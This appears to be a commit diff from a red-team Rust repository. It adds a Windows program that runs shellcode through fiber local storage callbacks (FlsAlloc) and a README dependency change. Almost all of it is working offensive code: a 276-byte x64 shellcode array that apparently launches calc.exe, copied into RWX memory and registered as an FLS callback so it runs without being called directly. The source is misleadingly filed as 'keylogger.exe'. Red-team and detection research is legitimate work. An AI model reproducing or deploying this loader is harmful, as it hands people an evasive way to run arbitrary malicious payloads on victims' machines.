SHellExec Through Fibers(flsalloc)

Author: Whitecat18

README.md

@@ -25,7 +25,7 @@ RedTeam Notes -> [Link](https://www.ired.team/)
 
 ```
 [dependencies]
-winapi = { version = "0.3.9", features = ["winuser","setupapi","wlanapi","winnls","fileapi","sysinfoapi" ,"debugapi","winerror", "wininet" , "winhttp" ,"synchapi","securitybaseapi","wincrypt","psapi", "tlhelp32", "heapapi","shellapi", "memoryapi", "processthreadsapi", "errhandlingapi", "winbase", "handleapi", "synchapi"] }
+winapi = { version = "0.3.9", features = ["winuser","setupapi","wlanapi","winnls","fileapi","sysinfoapi", "fibersapi","debugapi","winerror", "wininet" , "winhttp" ,"synchapi","securitybaseapi","wincrypt","psapi", "tlhelp32", "heapapi","shellapi", "memoryapi", "processthreadsapi", "errhandlingapi", "winbase", "handleapi", "synchapi"] }
 
 ntapi = "0.4.1"
 user32-sys = "0.2.0"

keylogger.exe

@@ -0,0 +1,61 @@
+
+/*
+    Shellcode Execution through fiber local storage FlsAlloc.h
+    @5mukx
+*/
+
+use std::ptr;
+use winapi::um::memoryapi::VirtualAlloc;
+use winapi::um::winnt::{MEM_RESERVE, MEM_COMMIT, PAGE_EXECUTE_READWRITE};
+use winapi::um::fibersapi::FlsAlloc;
+use winapi::um::fibersapi::FlsSetValue;
+use winapi::shared::minwindef::{LPVOID, DWORD};
+use std::ffi::CString;
+use std::slice;
+
+fn main() {
+    let shellcode: [u8; 276] = [
+        0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
+        0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
+        0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
+        0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
+        0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
+        0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
+        0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
+        0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
+        0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
+        0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
+        0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
+        0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
+        0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
+        0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
+        0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
+        0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
+        0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
+        0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
+    ];
+
+    unsafe{
+        let address = VirtualAlloc(
+                ptr::null_mut(),
+                shellcode.len(),
+                MEM_RESERVE | MEM_COMMIT,
+                PAGE_EXECUTE_READWRITE,
+            );
+
+    
+            let dst = slice::from_raw_parts_mut(address as *mut u8, shellcode.len());
+            dst.copy_from_slice(&shellcode);
+    
+
+            let d_index: DWORD = FlsAlloc(std::mem::transmute(address));
+
+            let dummy = CString::new("smukx").unwrap();
+    
+            FlsSetValue(d_index, &dummy as *const _ as LPVOID);
+    }
+    
+}
+
+